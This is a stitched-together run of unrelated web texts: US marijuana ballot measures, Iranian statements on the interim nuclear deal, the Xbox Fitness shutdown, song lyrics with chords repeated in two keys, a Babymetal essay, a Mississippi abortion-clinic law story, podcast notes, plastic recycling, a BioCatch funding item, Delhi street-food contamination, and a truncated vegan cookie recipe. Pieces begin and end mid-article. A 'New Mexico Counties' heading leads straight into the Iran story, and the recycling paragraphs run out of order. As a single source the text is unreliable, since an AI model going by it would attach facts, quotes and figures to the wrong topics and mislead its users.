Polling shows this to be a close race. A recent Survey USA poll showed the measure leading 44 percent to 40 percent, with a huge 16 percent of the electorate still undecided. An earlier poll showed legalization leading 51 percent to 42 percent.
Washington, D.C.
Initiative 71 would legalize marijuana in the nation’s capital, but it wouldn’t set up a system of legal, taxed and regulated sales like the measures in Alaska and Oregon would. Because local law doesn’t allow voter initiatives that require the city to spend funds, the measure would simply legalize the possession of up to two ounces of marijuana and allow residents to grow up to six plants at home. Advocates are hoping that if the initiative passes with a strong voter mandate, it will spur the City Council to then legalize sales.
D.C. is in a unique situation, given that Congress has the power to overturn the city’s local laws. An effort to block the recently enacted law decriminalizing possession of an ounce or less of marijuana was approved by the U.S. House of Representatives but didn’t advance in the Senate, meaning that the incremental reform is safe for now. No one knows, however, how Congress will react if D.C. voters move to legalize marijuana outright.
Polling for the measure is the strongest out of all the big measures on the ballot this year. A Washington Post/NBC 4/Marist survey found Initiative 71 leading 65 percent to 33 percent.
These big statewide measures aren’t all that’s on the ballot. Here’s what else you need to know:
Guam
Guam will be voting on a proposal to make it the first U.S. territory with medical marijuana. The Compassionate Cannabis Use Act was placed on the ballot by Guam’s legislature.
Maine Cities
At least two cities – with the possible addition of one more – will vote on measures to legalize possession of marijuana under local law. While these initiatives won’t change overarching state laws that still make marijuana a crime, they will, if passed, provide a boost to efforts to put legalization on the statewide ballot in 2016.
Michigan Cities
Eleven cities will vote on overturning local ordinances that criminalize possession of small amounts of marijuana. While in many cases police will still be able to charge people under overarching state laws, these measures help to send the message to state legislators that voters want reform. A number of cities in Michigan have already passed local initiatives along these lines in recent years, and the measures on this November’s ballots will help to increase pressure on the state legislature.
New Mexico Counties
Araghchi spoke on Jan. 12 to the Islamic Republic of Iran Broadcasting Channel 2 following his return from Geneva, where he led the Iranian delegation to the negotiations with the P5+1 countries that resulted in an agreement to implement the Joint Plan of Action signed last November. The interim agreement goes into effect Jan. 20, giving both sides six months to reach a final deal over Iran’s nuclear program.
Critics of the deal, especially in Congress, want any final agreement to force Iran to stop enriching uranium altogether and dismantle its enrichment program. The interim agreement requires Iran to suspend the enrichment of uranium at 20 percent levels and downgrade their existing stockpile of highly-enriched uranium to lower levels. But Araghchi said in the interview that the enrichment suspension is quickly reversible if Iran decides to pull out of the agreement.
“We can return again to 20 percent enrichment in less than one day and we can convert the [nuclear] material again. Therefore the structure of our nuclear program is preserved,” said Araghchi, in a broadcast which was independently translated for The Daily Beast. “Whenever we feel the other side is not following through with its commitments, whenever we feel there are other motives involved, whenever—now, say, under pressure from Congress or something else—they take action against their commitments, say put in place new sanctions, we will immediately revert to the current status quo. And we will again continue our nuclear program in the form that it is today.”
“I can say definitively that the structure of our nuclear program will be exactly preserved. Nothing will be put aside, dismantled or halted. Everything will continue, enrichment will continue,” Araghchi said.
While Iran’s foreign minister made similar comments last year after a broad framework understanding was reached, the comments this week from Araghchi come after Iran agreed to a detailed—and still secret—implementation agreement with the United States and other great powers. The remarks also come as Congress considers new sanctions legislation against Iran.
The Senate is currently considering whether to vote on a new Iran bill, sponsored by Senators Robert Menendez (D-NJ) and Mark Kirk (R-IL), that would impose new sanctions if Iran withdraws from negotiations or violates the deal. The bill would also express the sense of Congress that Iran doesn’t have a right to enrich uranium and would set minimum criteria for a final deal, including the dismantlement of Iran’s illicit nuclear infrastructure.
The White House and State Department did not respond by deadline to Araghchi’s comments. U.S. officials have previously said Iran could be allowed to continue some enrichment in a final deal.
Ray Takeyh, senior fellow at the Council on Foreign Relations, said that Araghchi was framing the deal for a domestic Iranian audience in the best possible light. Nothing in the interim agreement would stop Iran from resuming such activity if negotiations break down, he said.
“The deal puts a moratorium on the production of 20 percent; it doesn’t go into how quickly it could be resumed. For that to be dealt with, there would have to be dismantling of their capacity to enrich to 20 percent,” said Takeyh. “His comments were probably helpful for him in Iran but he has to understand he’s dealing with multiple audiences and he’s got to be a little more careful next time.”
In a separate interview with the Iranian Students News Agency, Araghchi disclosed the existence of a 30-page “non-paper” that he claimed was agreed to by Iran and the P5+1 countries as a secret side deal to the interim agreement. The State Department denied there was any secret side deal.
In the new video, Araghchi says that any verification agreement that would accompany a final deal, known as an Additional Protocol, would have to be approved by the Majlis, Iran’s parliament. That protocol would determine how the International Atomic Energy Agency would conduct inspections inside Iran should a final deal be reached.
Araghchi also said that President Obama’s recent statement that there is a not “more than 50-50” chance of reaching a final deal over Iran’s nuclear program might be too optimistic.
Xbox Fitness launched alongside the console in late 2013 as a unique, Kinect-powered health app, using the 3D camera to evaluate users' form as they followed along with on-screen streaming video trainers. The app provided 30 basic routines for free with an Xbox Live Gold account, but that subscriber benefit will end on December 15.
Xbox Fitness also included numerous branded training programs that cost real money up front, from $60/£40 P90X routines to Jillian Michaels videos that could run $12 each. That paid content is no longer available for purchase as of yesterday. Those who purchased it previously will be able to use it for just over one more year before the app becomes completely unavailable for download or use on July 1, 2017.
Microsoft hasn't announced any plans to compensate paying users for the phase-out of their purchased content or to provide downloadable versions of paid routines to be used after that phase-out date. That state of affairs has led to hundreds of angry comments on the sunset announcement post and elsewhere on the Internet.
"I bought 140$+ worth of content just this year… I don’t want a refund, I want to be able to continue to use what I PAID for !!!!!!!!!!!" Xbox Live user QuickSilver wrote.
"My worst fears about buying into digital or cloud-dependent content are realized," user chH4MMER added. "Basically the message is: if you buy something on the cloud, plan on having it taken away from you before you’re done with it, and don’t expect a refund."
Microsoft was initially quite bullish on Xbox Fitness, trumpeting news of over 1.5 million workouts in the first two months of Xbox One availability and mulling plans to expand to more platforms. But interest in the app seems to have waned since Microsoft removed the Kinect from the standard Xbox One bundle in 2014. Though Xbox Fitness dropped the Kinect requirement late last year, that change apparently hasn't been enough to make the app sustainable from Microsoft's point of view.
"Given the service relies on providing you with new and exciting content regularly, Microsoft has given much consideration to the reality updating the service regularly in order to sustain it," Microsoft's Erica Bell wrote in yesterday's announcement . "Therefore, the decision has been made to scale back our support for Xbox Fitness over the next year... While our team is saddened by this news, we couldn’t be more proud of what we’ve accomplished in the past two and a half years."
Gamers are by now used to game publishers shutting down online gameplay servers for titles that no longer have significant player support. The shutdown of Xbox Fitness is a bit more severe, though, effectively blocking single-player content that was purchased up front (rather than on a subscription basis) just because it happens to be streamed from a remote server. As always, when it comes to buying content that lives in a form you can't physically hold in your hands (or download in a form you have full control over), the buyer should beware.
Ebm Abm Ebm Abm Ebm Abm Whoa Another day I take your pain away Ebm Some people talk about you Like they know all about you Ebm When you get down they doubt you And when you tipping Ebm on the scene Yeah they talkin' about it 'Cause they can't tip all Ebm on the scene with you What you talk about it Talkin' about it Ebm When you get elevated, They love it or they hate it Ebm You dance up on them haters Keep getting funky Ebm on the scene While they jumpin' round you They trying to take Ebm all your dreams But you can't allow it Fm Bbm 'Cause baby whether you're high or low Whether you're high or low. Ebm You gotta tip on the tightrope Tip on the tightrope Baby, baby, baby. Fm Bbm Whether you're high or low Baby whether you're high or low. Ebm You got to tip on the tightrope Now let me see you do the tightrope. Ebm And I'm still tippin' on it See I'm not walkin' on it Ebm Or trying to run around it This ain't no acrobatics Ebm You either follow or you lead, yeah I'm talkin' about you, Ebm I'll keep on blaming the machine, yeah I'm talkin' about it, Talkin' about it Ebm I can't complain about it I gotta keep my balance Ebm And just keep dancing on it We getting funky Ebm on the scene Yeah you know about it, Ebm Like a star on the screen Watch me tip all on it Fm Bbm 'Cause baby whether you're high or low Whether you're high or low. Ebm You gotta tip on the tightrope Tip on the tightrope Baby, baby, baby. Fm Bbm Whether you're high or low Baby whether you're high or low. Ebm You got to tip on the tightrope Now let me see you do the tightrope. Ebm I tip on alligators and little rattle snakers Ebm But I'm another flavor Something like a terminator Ebm Ain't no equivocating I fight for what Ebm I believe Why you talkin' about it She's talkin' about it Ebm Some calling me a sinner Some calling me a winner Ebm I'm calling you to dinner And you know exactly Ebm what I mean, Yeah I'm talking about you Ebm You can rock or you can leave Watch me tip without you Fm Bbm N-N-Now whether I'm high or low Whether I'm high or low. Ebm I'm gonna tip on the tightrope MMMMMM Baby, baby, baby. Fm Bbm Whether I'm high or low High or low. Ebm I got to tip on the tightrope Now baby tip on the tightrope. Ebm You can't get too high (You can't get too high) Ebm I said you can't get too low (We can't get too low) Ebm Cause you get too high (You can't get too high) Ebm No you'll surely be low (No, you'll surely be low) 1, 2, 3, Ho! Ebm Fm Bbm 'Cause baby whether you're high or low Whether you're high or low. Ebm You gotta tip on the tightrope Tip on the tightrope Baby, baby, baby. Fm Bbm Whether you're high or low Baby whether you're high or low. Ebm You got to tip on the tightrope Now let me see you do the tightrope.
Dm Gm Dm Gm Dm Gm Whoa Another day I take your pain away Dm Some people talk about you Like they know all about you Dm When you get down they doubt you And when you tipping Dm on the scene Yeah they talkin' about it 'Cause they can't tip all Dm on the scene with you What you talk about it Talkin' about it Dm When you get elevated, They love it or they hate it Dm You dance up on them haters Keep getting funky Dm on the scene While they jumpin' round you They trying to take Dm all your dreams But you can't allow it Em Am 'Cause baby whether you're high or low Whether you're high or low. Dm You gotta tip on the tightrope Tip on the tightrope Baby, baby, baby. Em Am Whether you're high or low Baby whether you're high or low. Dm You got to tip on the tightrope Now let me see you do the tightrope. Dm And I'm still tippin' on it See I'm not walkin' on it Dm Or trying to run around it This ain't no acrobatics Dm You either follow or you lead, yeah I'm talkin' about you, Dm I'll keep on blaming the machine, yeah I'm talkin' about it, Talkin' about it Dm I can't complain about it I gotta keep my balance Dm And just keep dancing on it We getting funky Dm on the scene Yeah you know about it, Dm Like a star on the screen Watch me tip all on it Em Am 'Cause baby whether you're high or low Whether you're high or low. Dm You gotta tip on the tightrope Tip on the tightrope Baby, baby, baby. Em Am Whether you're high or low Baby whether you're high or low. Dm You got to tip on the tightrope Now let me see you do the tightrope. Dm I tip on alligators and little rattle snakers Dm But I'm another flavor Something like a terminator Dm Ain't no equivocating I fight for what Dm I believe Why you talkin' about it She's talkin' about it Dm Some calling me a sinner Some calling me a winner Dm I'm calling you to dinner And you know exactly Dm what I mean, Yeah I'm talking about you Dm You can rock or you can leave Watch me tip without you Em Am N-N-Now whether I'm high or low Whether I'm high or low. Dm I'm gonna tip on the tightrope MMMMMM Baby, baby, baby. Em Am Whether I'm high or low High or low. Dm I got to tip on the tightrope Now baby tip on the tightrope. Dm You can't get too high (You can't get too high) Dm I said you can't get too low (We can't get too low) Dm Cause you get too high (You can't get too high) Dm No you'll surely be low (No, you'll surely be low) 1, 2, 3, Ho! Dm Em Am 'Cause baby whether you're high or low Whether you're high or low. Dm You gotta tip on the tightrope Tip on the tightrope Baby, baby, baby. Em Am Whether you're high or low Baby whether you're high or low. Dm You got to tip on the tightrope Now let me see you do the tightrope.
Heavy metal idol group Babymetal have seemingly taken the world by storm this past week, with articles featuring them appearing in USA Today, the Huffington Post, and even The Guardian. It’s exciting whenever a Japanese artist gets picked up by Western media, however unfortunately there seems to be a recurring trend in every one of these pieces, especially when the artists are as eccentric and flamboyant as a group like Babymetal are:
“Those crazy Japs.”
And then of course there’s always the obligatory comments section, which in the case of Babymetal have been filled with everything from wide-eyed wonder to disgust, with commentary on how “this isn’t metal” or how “Slayer would hate this.” Claims that the three girls in the group don’t like metal only add fuel the fire (it doesn’t really matter though; they’re idols. Perfume didn’t like electro-pop when they first started.)
Babymetal – “Catch Me If You Can”
It’s easy to see why these reactions happen. Not only does this kind of music simply not exist in the West, most of these articles introducing Babymetal have only pointed out the strangeness or craziness of it, with not much cultural context or research done on the creative talent backing this project.
It’s important to take note of recent trends in Japanese pop music when talking about this group; “idol mania” has been a thing in Japan for at least the last five years, with groups like AKB48, Momoiro Clover Z, Dempa Gumi, Inc., BiS, and Bellring Shojo Heart proliferating nearly every layer of the music culture consciousness. Idols have been a thing in Japanese music since forever, but like everything else in the 21st century, there has been a complete over-saturation over the last couple of years.
It’s also important to consider how the music scene and industry works in Japan. Probably more so than any other country, the gap between mainstream popular music and underground music is massive. This has created a pop scene that’s very sugarcoated and manufactured, and an underground scene that’s very avant-garde and isolated. In this musical landscape, it’s difficult for underground musicians to break into the mainstream or make a living playing music. Some have bridged the gap for themselves by having their own band with a core but limited fan base, and at the same provide music for more famous pop singers and of course, idol groups.
Idol groups have benefited from this as well, since the trend now seems to be all about being cooler and wackier than everyone else. Idol groups like Momoiro Clover Z and BiS have succeeded by targeting a niche group of fans of a particular subculture and hiring musicians with street cred from that subculture to make the music and project feel more authentic and legitimate. So it’s actually kind of ironic when people accuse the “metalness” of a group like Babymetal; they’ve been genetically engineered specifically to appeal to meet certain criteria. Basically, they are so metal, at least musically and aesthetically (ideologically is a different story altogether, but fellow Japan Times contributor and Quit Your Band partner Ian Martin has covered the uneasiness of combining subculture and commercialized music, so I won’t really go there.)
Momoiro Clover – “Pinky Jones”
Which brings us to the creative team behind Babymetal. While there doesn’t seem to be a main producer the group keep going back to (like say Tsunku for Morning Musume) it’s clear that there is a tightly-knit team of musicians who work on the material.
One of the more obvious standouts is Narasaki of shoegaze/metal band Coaltar Of The Deepers. Narasaki has received recognition in the last couple of years for producing anime soundtracks as well as contributing some tracks to Momoiro Clover Z, like “Pinky Jones”, “Kuroi Shuumatsu”, and “Birth Ø Birth”.
Narasaki knows his metal. While his band rarely goes full-on metal, there have been fine examples of thrashing from Narasaki, from his cover of The Cure’s “Killing An Arab” to “Mars Attacks!” from the band’s second album. Listen to Momoiro Clover’s “Kuroishumatsu” and you’ll hear all sorts of Black Sabbath references.
Narasaki’s contributions to Babymetal so far have been the single “Headbanger” and the b-side “Catch Me If You Can.” The latter sounds much like Coaltar Of The Deepers; compare the track to the industrial metal-tinged “Dead By Dawn” from the Penguin EP and they sound like they came from the same sessions.
Coaltar Of The Deepers – “Dead By Dawn”
When put in this context the track suddenly goes from being a cute little song about playing hide and seek to being a Coaltar Of The Deepers outtake. You can say this with a lot of Japanese producers. Who’s to say that a Kyary Pamyu Pamyu single couldn’t have been on a Capsule album, or a Momoiro Clover Z song not be on a Hyadain record? (or even a Go! Team record.)
Idol music has become the sandbox for many musicians to play in. While have more interesting bands of their own, it’s difficult for these musicians to make a living from playing music because of the niche nature of their material, and just from the simple fact that support for these kinds of music just generally isn’t enough in Japan. It’s why you have people like AxSxE from post-rock band Natsumen write a song like “L. Drunk” for Kaela Kimura.
The other standout is Takeshi Ueda, who is best known for playing bass in the Mad Capsule Markets, as well as his solo project AA=. His track is “Gimme Choco,” one of the tracks making rounds on the interwebs, and definitely one of the highlights on the new album. “Gimme Choco” combines electro-pop with the metal but Ueda does it in a tasteful way with a catchy autotuned interlude and, well, effects you would hear on a Mad Capsule Markets record. The electronic elements never go into cheesy territory however (some of the other tracks on the album are more guilty of doing this) and it’s clear that Ueda is very much in familiar territory here.
AA= – “Working Class”
Other contributors have been Norimetal aka Norizo from the band Dugout, who wrote the single “Megitsune,” and Yuyoyuppe, a Vocaloid producer/DJ/rock musician. Dugout aren’t metal at all but was a part of the Hachioji scene alongside bands like Maximum The Hormone, who kind of paved the way for this J-pop/metal hybrid stuff in a way (vocalist Daisuke Tsuda of Maximum The Hormone also originally played drums in Dugout). Dugout originally wrote pop punk songs before moving onto a sort of 60s garage style. In any case, they wrote catchy little indie rock songs. ( “Megitsune” has the strongest chorus out of all the songs on the album I think and might just be my favorite track.)
Dugout – In The Car
Looking through the credits, Yuyoyuppe’s name comes up the most, and he seems to be hands on and bringing the metal arrangements to otherwise non-metal songwriters. He penned “Akumu no Wa kyoku” and arranged three other tracks, including “Babymetal Death” and “Megitsune.”
The mix of EDM and metal sounds just like Yuyoyuppe’s excellently christened band, My Eggplant Died Yesterday. While I’m not a big fan of Yuyoyuppe’s tracks to be honest (playing them back to back with Narasaki’s stuff just shows how much Narasaki gets metal more than Yuyoyuppe. Narasaki has been on the job way longer though, so the comparison might not exactly be fair), it’s clear that he has a grasp on heavy music, despite the rather cheesy Skrillex-y moments.
My Eggplant Died Yesterday – “What Is Liberty To You”
Another interesting name on the list is Tatsuo, who is the guitarist in the band Everset. He is also known for being responsible for producing/arranging the music of “air band” sensation Golden Bomber, who recently took the country by storm with their single “Memeshikute.” Since there’s only one member in Golden Bomber who actually plays instruments (the other three simple mime to the music), you could say that Tatsuo is Golden Bomber. The band is essentially a parody (I think they’re fun but awful), but they have strong ties with the visual-kei scene in Japan, playing in the scene for more than decade before becoming big. Tatsuo arranged two tracks on the album, “Onedari Daisakusen” and “4 No Uta” (which pretty much uses the “spider-riff” from Metallica’s “Master Of Puppets” note for note)
Golden Bomber – “Memeshikute”
The connection between Babymetal and visual-kei is important; some of the tracks like “Headbanger” and “Ijime, Dame, Zettai” have been accused of “not being metal,” but viewing these songs through a visual-kei lens and they suddenly make sense. Both sound more like X Japan songs than any Slayer track. Narasaki even admits in an interview that his inspiration for “Headbanger” was more visual-kei than heavy metal, says that the song purposefully sounds like a “metal song done by a Japanese visual key guy who doesn’t really understand metal.”
Listening to the new album in the context of this visual-kei/death metal hybrid puts it in a new light, and you get a sense of what the creators were actually going for. What you end up with is an album that’s probably the most tasteful mish-mashing of kayokyoku melodies and metal possible, which is what a lot of visual-kei bands were trying to do in the late 80s and early 90s. And just as a fan of Narasaki, it’s exciting just to hear him go full-on metal on these tracks, which is something he only rarely does on Coaltar Of The Deeper tracks. It’s also neat to hear the songs in the context of his overall discography that includes his idol and anime material (along with numerous side projects such as the electronica Sadesper Record.) You can start hearing the differences between an idol track produced by some guy in his bedroom who has never been in a band and a track that’s been produced by someone who has gone through the grind of touring and recording in the underground scene.
So while Dom Lawson of The Guardian may say that the group was formed by some ”Machiavellian genius who almost certainly had a sudden “Eureka!” moment in the middle of the night and realised that Japanese audiences were certain to unquestioningly embrace such a seemingly incongruous mish-mash of cutting-edge musical ideas,” he’s only scratching the surface; this mish-mash has been happening for a while now. It’s how idol music is being sold these days – pick a niche market, get people within the scene to produce songs, and then play up the disparate sides of the music. Frankly, it’s quite depressing that bands and musicians can’t get by with just their own bands, but if there’s anything to gain from all the commercialism it’s that some of these talented people get their work heard, and that groups like Babymetal may become the gateway drug for some kid out there into the world of metal and Japanese indie music.
Yes, it’s manufactured. Yes, it’s ridiculous. But that’s not the whole story. There are some cool bands behind all the cuteness and commercialism. You just have to dig a little deeper.
Babymetal – “Megitsune”
Law requires those who perform abortions to have privileges at a local hospital
Owner of state's sole abortion clinic says law is meant to ban abortion
Sponsor of bill says purpose is to protect women's health
They are here practically every day.
Anti-abortion protesters set up their signs outside the Jackson Women's Health Organization and regularly preach their beliefs to anyone who will listen. They pray the clinic will close. Their prayers may soon be answered.
Clinic owners are in a fight to save the only abortion clinic operating in the state of Mississippi. New state requirements may close their doors forever, making Mississippi the first abortion-free state.
"I want to say over my dead body, but I'm afraid," said clinic owner and president Diane Derzis.
"We're going to do whatever it takes to keep servicing the women of Mississippi," she said.
A state law that takes effect Sunday requires all of a clinic's abortion providers to be certified OB/GYN's, and all of them must have privileges at a local hospital.
"I think the intent is to make sure that women who are receiving these abortions are receiving abortions by a professional physician who is certified," said state Rep. Sam Mims, who sponsored the legislation.
"If something goes wrong, which it might -- we hope it doesn't, but it could -- that physician could follow the patient to a local hospital. That's the intent. And what happens afterwards, we'll have to see what happens," he told CNN.
Mississippi has been one of the toughest states on the abortion rights movement. The state already has laws requiring a 24-hour waiting period, as well as parental consent if the patient seeking an abortion is a minor.
State Rep. Sam Mims says his goal is to protect women, but if the law means fewer abortions, "then that's a good thing."
"All of that is wrapped in that cloak of conservative religion," said W. Martin Wiseman, director of the Stennis Institute of Government at Mississippi State University.
"You'll find very few legislators, regardless of whether they are white, black, Democrat or Republican who will say, 'I'm pro-abortion,'" Wiseman said.
Gov. Phil Bryant signed the bill with the new requirements into law in April after the Republican-dominated legislature overwhelmingly passed it.
"It's historic. Today you see the first step in a movement, I believe, to do what we campaigned on -- to say that we're going to try to end abortion in Mississippi," Bryant said at the bill-signing event.
The clinic says it is trying to comply. All of its doctors are OB/GYNs who travel in from other states. But only one can practice at a local hospital. The new law states that all doctors in a clinic must have hospital privileges.
Officials at the Jackson clinic say they're trying to gain privileges at Jackson-area hospitals but that the cumbersome process and red tape has forced them to file suit. They've gone to federal court to try to get an injunction that would allow them to stay open while they fight the new law. The court has not yet ruled on their motion.
"We're going to do whatever it takes to keep servicing the women of Mississippi," said clinic president Diane Derzis .
The Mississippi Department of Health says it will inspect the clinic on Monday for compliance. If the clinic cannot meet the new state law requirements, then it will have the right to appeal and begin an administrative process that could take several months. But, Derzis says, employees would be subject to arrest and fines of up to $2,000 a day if the clinic stays open. So, it would essentially be forced to close.
"It's an absolute tragedy," Derzis said.
"No one wants to talk about abortion. No one wants to think about abortion until they're there," she said.
"There are three reasons you have an abortion: Rape, incest and 'mine.' I hear that all the time: 'You know, I don't believe in abortion, but, now it's my kid,'" she told CNN's George Howell.
But the law's sponsor says the law is about having the proper license to operate, and if that law closes the only abortion clinic in the state, then so be it.
"I'm very pro-life, Mims said. "I believe life begins at conception. And I think a lot of Mississippians do, as well. If this legislation causes less abortions, then that's a good thing."
Derzis believes that this was the real intent of the newly elected Republican majority -- to end abortion in the state, not to improve women's health care.
"I love that it's white, old men, making those statements," she said. "We've been able to be with women at a time in their lives where they are in crisis, when they need to have something done and need that support. That's why it has to be available. It has to be," she said.
David is the visionary creator behind Diablo I and II and currently the founder and CEO of Gazillion Studios and the excellent Action MMORPG – Marvel Heroes 2015. When it launched two years ago, the game had a number of launch issues and received a mauling from critics, with a metacritic average score of 58%. Since then David and the team have turned Marvel Heroes around pulling it’s Metacritic score up to 81. The game gets regular new content, including the recent Age of Ultron update that was one of the biggest content launches the title has had so far and allowed players to play as any of the core Avengers for free.
In this weeks show:
We take a look at the tv shows we’ve been watching last week, including some non-spoilery chat about last nights Game of Thrones!
All the latest TV news, including some changes coming to Castle , an update on Top Gear , and the return of everyone’s favourite moon-dwelling knitted mice!
, an update on , and the return of everyone’s favourite moon-dwelling knitted mice! The interview with the visionary creator of Diablo , David Brevik, about his current game – Marvel Heroes 2015 .
, David Brevik, about his current game – . As usual, all the latest air date updates, and a look forward to tv in the next 7 days.
Show Notes
Person of Interest on Netflix
Doctor Who Symphonic Spectacular
The ‘thing’ I can’t talk about…
All the latest UK Air Date and Premiere date info!
Geektown Radio : Episode 20
The Senate gave final congressional approval to measure Friday 52-47 in an unusual vote that began before dawn.
President Donald Trump is expected to sign the bill. It represents an initial Republican swipe at the 2010 Dodd-Frank law curbing Wall Street that President Barack Obama and Democrats enacted following the 2008 financial crisis.
Republicans say the regulation gives foreign competitors valuable information about U.S. firms and would hurt the economy.
What will help spur adoption of that new model is an imminent ban, by the European Commission, on incinerating plastic or dumping it in landfills.
It’s the “take, make, dispose” economic model. What we need, according to the Foundation, is “the new plastic economy” — where plastics are designed to be used over and over again.
On a global scale, the numbers are even lower — only 14% of packaging is recycled. The remainder, worth from $80 to $120 billion a year, is lost after a single use, according to the Ellen MacArthur Foundation .
Europeans use almost 50 million tonnes of plastic every year, but only 25% is sorted and ready for recovery, according to Jean-Marc Boursier, chairman of the French federation of waste management services and Group Senior Executive VP in charge of Recycling & Recovery Europe for Suez.
This confusion over one yogurt pot is a microcosm of the larger inconsistencies and challenges facing plastic waste recycling and recovery in Europe, and the numbers confirm that lack of common standards.
When you finish a yogurt, do throw the plastic pot in the trash or the recycle bin? For some cities the pot is trash, for others it’s recyclable, and for yet others it’s still up for debate.
The plant was meant to be a great success but is losing money, Boursier said. One reason is the price of virgin plastic, which has dropped with the price of oil, down almost 40% in two years. The price of recycled plastic has also gone down approximately 40%, he said, but other costs like collection, sorting and recycling are fixed.
“Our customers are keen on the circular economy,” Boursier said. “But they don’t want to pay higher to get recycled products, which cost them 20% more than purchasing virgin plastic.”
Another reason for losing money is the complexity of recovering plastic. Boursier explained that the Maastricht plant is fed from five different countries — Belgium, Holland, France, Germany and UK — and the inflow is significantly different from each country because the sorting habits are different.
In addition, packaging producers are using the cheapest and lightest materials to reduce costs, but as a result are creating new combinations of plastics that are harder to recycle. For instance, some milk containers are now made of PET with a layer of carbon inside to make them dark and help the milk last longer. But it’s impossible for the plant to separate the carbon from the PET, Boursier said. Ketchup bottles are another example. The plant is discovering that more and more bottles have silicon in the plastic, which makes them more rigid, but also harder to recycle.
What can be done? Boursier has a slew of suggestions.
His first idea goes straight to the circular economy model, getting cities, the packaging industry and recycling plants to work together on packaging recyclability even before it hits the market. Known as eco-conception, it means “we’re not thinking about recovery at the end of the process but at the beginning,” Boursier said.
The second element is to encourage people to sort better. “We need to find ways in cities to incentivize people to separate better at the source. My Swedish friends have 11 bins at home. They are very good at segregating the waste flow,” he said. Europe’s goal is to recover 55% of waste by 2025. “If we can’t get people to separate at source, it will be hard to reach 55% recovery,” he added.
The third idea is to factor in the price of carbon and the environmental impact when comparing recycled material to virgin. “If we put the price of carbon around 40 euro per tonne, each time we recover 1 ton of plastic, we reduce emissions of CO2 by 1.6 ton [or 64 euros]… That 64 euros can be used to incentivize construction of new plants and will reduce the gap between virgin and recycled,” Boursier said.
This logo doesn’t mean recycled
Fourth would be to change eco labelling. The “recycle” logo we’re all familiar with — three arrows in a triangular mobius loop — which shows up on almost everything doesn’t mean the product is recycled, only that the company has paid its eco contribution. “As a consumer,” Boursier said, “I want to know if my packaging is recycled, and not recyclable.”
To incentivize the use of recycled products, the Suez Group is promoting the idea that any product of at least 50% recycled material should have reduced VAT or none at all, because it was paid the first time round, Boursier explained. It would create a financial incentive for the consumer and force brands to use more and more recycled product.
Although current recovery rates are still low, Boursier is optimistic.
“I strongly believe we are on the verge of this circular economy as far as plastic is concerned. It’s already a reality for metal, paper, glass and wood,” he said.
Today the company is announcing it’s closed a $10 million Series A round led by OurCrowd, and Blumberg Capital. The new capital will be used to expand Tel Aviv-based BioCatch’s R&D efforts and push for growth in its key markets, including North America, Europe and Brazil.
BioCatch “collects and analyses over 400 bio-behavioral, cognitive and physiological parameters” to create unique user profiles for visitors to banking and e-commerce sites. The idea is to reduce risky transactions and stop cyber-threats, such as Account Takeovers, Man-in-the-Browser (MitB) Malware and Remote Access (RAT) attacks, by using its “invisible” tech to authenticate visitors upon their return to a site as well as identify users exhibiting behaviors consistent with fraudsters.
Its ‘special sauce’ is based on what the company calls “invisible challenges” that appear on a site when you try to log in or interact with it in another way, such as setting up a transaction. As an example, a user’s cursor may be set to disappear for a second so that BioCatch can record and analyse how they try to retrieve it i.e. the way a user wiggles the mouse to try to locate it on the screen. From this behaviour it builds a profile of the user that can be used to help authenticate them in future. Think of BioCatch as the “last line of defence”; it doesn’t replace other types of authentication and fraud detection but attempts to stop cybercrime before it happens.
According to a DNA report , Institute of Hotel Management, Catering and Nutrition has carried out a study that shows the street food items in several west and central Delhi localities contain extremely high amount of E. coli bacteria which can cause severe infections.
Source: Zee News
The report said that the unclean water used to cook food is the main reason for contamination along with other unhygienic conditions. During summers and rainy season, bacteria are more conducive for growth.The sample consists of samosa, golgappa, burger and momos and were taken from popular shops twice where sales were maximum. The samples which were found infected with bacteria were taken from both well-off localities like Connaught Place and famous markets like Rajouri Garden main market, Rajendra Place and Subhash Nagar.
As per the central Pollution Control Board, the amount of bacteria or the normal Most Probable Number (MPN) of coliform bacteria in such foods is 50 or less, but the MPN in these samples was found over 2,400.
Source: Zee News
These bacterial pathogens found in these street eateries are bacillus cereus, clostridium perfringens, staphylococcus aureus and salmonella species.
Bacillus cereus cause vomiting and diarrhoea. Clostridium perfringens causes abdominal cramps along with diarrhoea. Staphylococcus aureus may lead to appetite loss and fever, while salmonella species leads to typhoid, food poisoning, and inflammation in the gastrointestinal tract.The Food Safety and Standards Authority of India (FSSAI) has written to Delhi's food safety commissioner to check the quality of street food eateries.
If the following list of things sounds delicious to you, then keep reading: warm cinnamon. Crunchy candied pecans. Vanilla-infused toasted oats. Maple syrup. Are you in yet? These gluten-free & vegan maple pecan cookies are absolutely insane. I may have been caught red-handed at one point, standing in front of my open freezer, eating leftover cookie dough with abandon.
I started out with an idea very similar to that of my vegan oatmeal raisin cookies: pecans are toasted to perfect, then ground up along with rolled oats. Since I’ve been continuing to experiment with gluten-free recipes lately, I completed the cookie base using all-purpose gluten-free flour from Bob’s Red Mill.
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Their flour blend already contains xanthan gum, a natural plant-based binding ingredient that helps make the cookies chewy. So there’s no need to worry about hunting around for a $5 box of xanthan gum that will sit forgotten in your pantry after you use 1/4 teaspoon of it for a recipe. (Is anyone else guilty of doing this with specialty ingredients?)
Finally, I sweeten my vegan maple pecan cookies with wholesome coconut sugar and a healthy helping of pure maple syrup. The ground pecans infuse the whole cookie with pecan flavor, but because I cannot get enough toasted pecans around the holidays, I went next-level and candied some pecans in more maple syrup and a touch of coconut oil. Those crunchy candied pecans are chopped up and folded into the cookies for a texture experience that’s to-die-for.
Because they’re both gluten-free and vegan, these maple pecan cookies are perfect for pleasing everyone at your holiday gathering. They also keep well at room temperature for a few days and would make nice little edible gifts. Seriously, nobody would guess that they’re special-diet friendly, because they’ll be so busy going nuts (…pun intended) over the maple and pecan flavor. In the name of science, I have made the grave sacrifice of making several batches of these cookies and feeding them to various people in order to confirm that fact.
To make your life easier, I’ve included both weight and volume measurements in the recipe. As always, I highly recommend purchasing a basic kitchen scale – volumetric measurements of dry goods can vary from person to person and weight measurements give the most consistent results. However you measure it, I hope you enjoy these easy, delicious and {sorta-healthy} vegan maple pecan cookies!
5 from 1 vote Print Vegan Maple Pecan Cookies (Gluten-free) Vegan maple pecan cookies, made gluten-free with Bob's Red Mill 1:1 Flour and packed with aromatic maple, pecan, and toasted oat flavor. The perfect cookie that everyone at your holiday table can enjoy! Prep Time 20 minutes Cook Time 15 minutes Total Time 35 minutes Total Yield 24 cookies Calories Per Serving 140 kcal Author Yup, it's Vegan Ingredients For the vegan maple pecan cookies: 2 cup raw pecans (8 oz. / 227g)
1 cup rolled oats (83g)
